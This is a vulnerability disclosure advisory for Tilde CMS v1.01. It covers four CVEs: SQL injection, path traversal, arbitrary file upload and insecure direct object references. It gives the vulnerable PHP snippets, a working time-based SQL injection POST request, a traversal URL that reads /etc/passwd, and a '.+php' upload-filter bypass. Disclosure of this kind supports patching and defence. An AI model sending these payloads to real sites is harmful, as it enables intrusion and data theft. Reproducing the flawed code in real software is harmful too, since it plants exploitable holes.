Tilde CMS v1.01, Multiple Vulnerabilities

# Authors: Paolo Forte, Raffaele Forte
# Vendor Homepage: http://www.tildenetwork.com
# Version: Tilde CMS v1.0.1
# Tested on: Ubuntu 12.04, PHP 5.3.10

I. INTRODUCTION
Tilde CMS is closed-source content management system created by tildenetwork.com

II. DESCRIPTION
The web application suffers of multiple vulnerabilities.

1. SQL Injection (CVE-2017-11324)

Due to missing escaping of the backtick character, the following query in the source code is vulnerable:

[class.SystemAction.php]

$SQL_string = "SELECT * FROM `form_table_".$id_form."` WHERE ID='$idForm'";
$SQL_oldData = @mysql_query($SQL_string,$this->DB_conn);

The vulnerability can be trigged via a POST request as shown in the following PoC:

POST /actionphp/action.input.php HTTP/1.1
ActionForm=SendForm&TotalQuery=653&TotalCompiled=2&id=1` WHERE SLEEP(5)-- aaa &idForm=1234567890

The resulting query on the server-side will be:

SELECT * FROM `form_table_1` WHERE SLEEP(5)-- aaa ` WHERE ID='1234567890'

For a succesful exploitation, the table “form_table_1” must be valid.

2. Path Traversal (CVE-2017-11325)

The vulnerabilty exists on this method:

GET /actionphp/download.File.php?&file=../../../../../../etc/passwd

3. Arbitrary Files Upload (CVE-2017-11326)

It is possible to bypass the implemented restrictions shown in the following snippet of the code:

$file=$_FILES['file'.$i]['tmp_name'];
if (($file!="")&&($file!="none")) {
    $source_file=$file;
    $file_name=$_FILES['file'.$i]['name'];
    $file_name=str_replace(".php",".txt",$file_name);
    $file_name=str_replace(" ","_",$file_name);
    $file_name=str_replace("+","",$file_name);

A file named “filename.+php” will be renamed in “filename.php”, therefore successfully uploaded.

4. Insecure Direct Object References (CVE-2017-11327)

It is possible to retrieve sensitive resources by using direct references.
A low privileged user can load the PHP resources such as:

    admin/content.php
    admin/content.php?method=ftp_upload

IV. BUSINESS IMPACT
These flaws may compromise the integrity of the system and/or expose sensitive information.

V. SYSTEMS AFFECTED
Tilde CMS v1.01 is vulnerable (probably all previous versions)

VI. VULNERABILITY HISTORY
July 6th, 2017: Vulnerability identification
July 7th, 2017: Vendor notification
July 13th, 2017: CVE-ID reserved

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuseof this information.